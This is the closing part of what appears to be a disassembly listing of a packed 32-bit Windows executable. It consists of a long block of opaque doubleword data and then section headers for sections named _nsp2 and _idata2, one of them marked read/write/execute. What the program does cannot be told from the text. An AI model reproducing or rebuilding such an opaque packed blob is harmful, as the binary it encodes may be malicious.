		dd 8584D1E7h, 1E842E31h, 6B9CC30Eh, 79266CB9h, 0C9C20E7Fh
		dd 0BB1B467Bh, 3D082560h, 8A2EFEDAh, 2E956BC7h,	68A99E9Ch
		dd 0BC654F26h, 33B130D4h, 0C9860AEEh, 963F1D01h, 33D4687Eh
		dd 0E57FAA0Ch, 0B0FF3082h, 0DA95D79h, 0E3C57655h, 6279A4CCh
		dd 2CC80156h, 0FD60209Fh, 60471ABDh, 0C5F5840Fh, 0DAF78207h
		dd 8968E235h, 0CAF65706h, 0EB9477E5h, 2A59CDADh, 0A455BC52h
		dd 758B3738h, 0E7B39F22h, 9C51CE75h, 7D1A1DA8h,	17CCD6D2h
		dd 0BB2D3929h, 359ACB5Dh, 1683F138h, 1F711498h,	0D07FD907h
		dd 4EE344C5h, 9684E870h, 0BB72D748h, 10206C1Fh,	6B2836C7h
		dd 0A8F60CF3h, 0D2339643h, 0F99A8C3h, 73D7AD09h, 2DA8E2FDh
		dd 0C6627143h, 0DC88F9F6h, 62A14333h, 0ED2A3C8h, 0E64738B7h
		dd 85BD027Bh, 2A4D5441h, 0F981D287h, 185BF573h,	0FC8034BCh
		dd 0A0D6E67Ah, 705447ECh, 44C61C82h, 0D60BC3F7h, 5C3B63F2h
		dd 0D259F74Eh, 908FE25h, 84F1361Dh, 0EA4F7237h,	0DA1CAE94h
		dd 0EEBDD5A5h, 0F8985E3Ah, 5649EA72h, 0E4F55C6Ch, 76B83445h
		dd 0C3D69B39h, 92923F8Bh, 0B4E8621Fh, 0AA12F096h, 5951ABA7h
		dd 82A613AFh, 1EAA6300h, 0BE3B0620h, 0C7ACDAB6h, 0A43712EDh
		dd 89A52457h, 46CE3DB6h, 95829A39h, 8DF4FF0Ah, 9A4DD713h
		dd 0B6217C94h, 0E6405BB5h, 2B3ED70Fh, 78CA1C6Bh, 0A9594D0h
		dd 5E1888CDh, 6A1634BFh, 4F4F527Ch, 82F20BD0h, 0EFADE324h
		dd 3214A890h, 1FBF8A35h, 85A6ADBBh, 0C60ABADCh,	566E4F01h
		dd 9A7046F9h, 9252FA97h, 1D4C6A9Bh, 5DD5A567h, 8E72774Ch
		dd 0DB5ABD42h, 0A70738F8h, 9EE289DDh, 0C62D7829h, 87FB5F63h
		dd 0AB11F1F4h, 108A2F19h, 710E1211h, 935EFD93h,	4BFDBB68h
		dd 9381130Bh, 97249612h, 522356A2h, 2BF03E63h, 571F1BBDh
		dd 14F8F14Dh, 23F58Bh, 7861D080h, 71FF6B46h, 2D3A2AF7h
		dd 0D3CA6289h, 0C5CF5E6Ch, 0F23298D9h, 0B7A8D897h, 0FF4C53C1h
		dd 2DD30F06h, 71419756h, 0AD90A9C1h, 0FBB1FE0Ah, 0FDB4FA3Fh
		dd 9C9080CCh, 2A4D4FCCh, 0DEA32262h, 4839550Fh,	524C74FCh
		dd 307D3C9Fh, 0E2D50EEDh, 0B3F8E249h, 3A1C19D5h, 5600D776h
		dd 0C3747BC8h, 0D72B17BDh, 91EA70Ah, 985D9081h,	853BFB17h
		dd 0BE6B1791h, 0B3CB4DBDh, 68C7C9B0h, 0BE8A97F0h, 1299EF0h
		dd 0EDA9ECC5h, 2995FA82h, 1B8BB8EBh, 3ACE4A25h,	200h dup(0)
_nsp1		ends

; Section 3. (virtual address 00095000)
; Virtual size			: 00000AB9 (   2745.)
; Section size in file		: 00000AB9 (   2745.)
; Offset to raw	data for section: 00095000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp2		segment	para public 'CODE' use32
		assume cs:_nsp2
		;org 495000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 2AEh	dup(0)
		db    0
_nsp2		ends

; Section 4. (virtual address 00096000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00095C00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 496000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start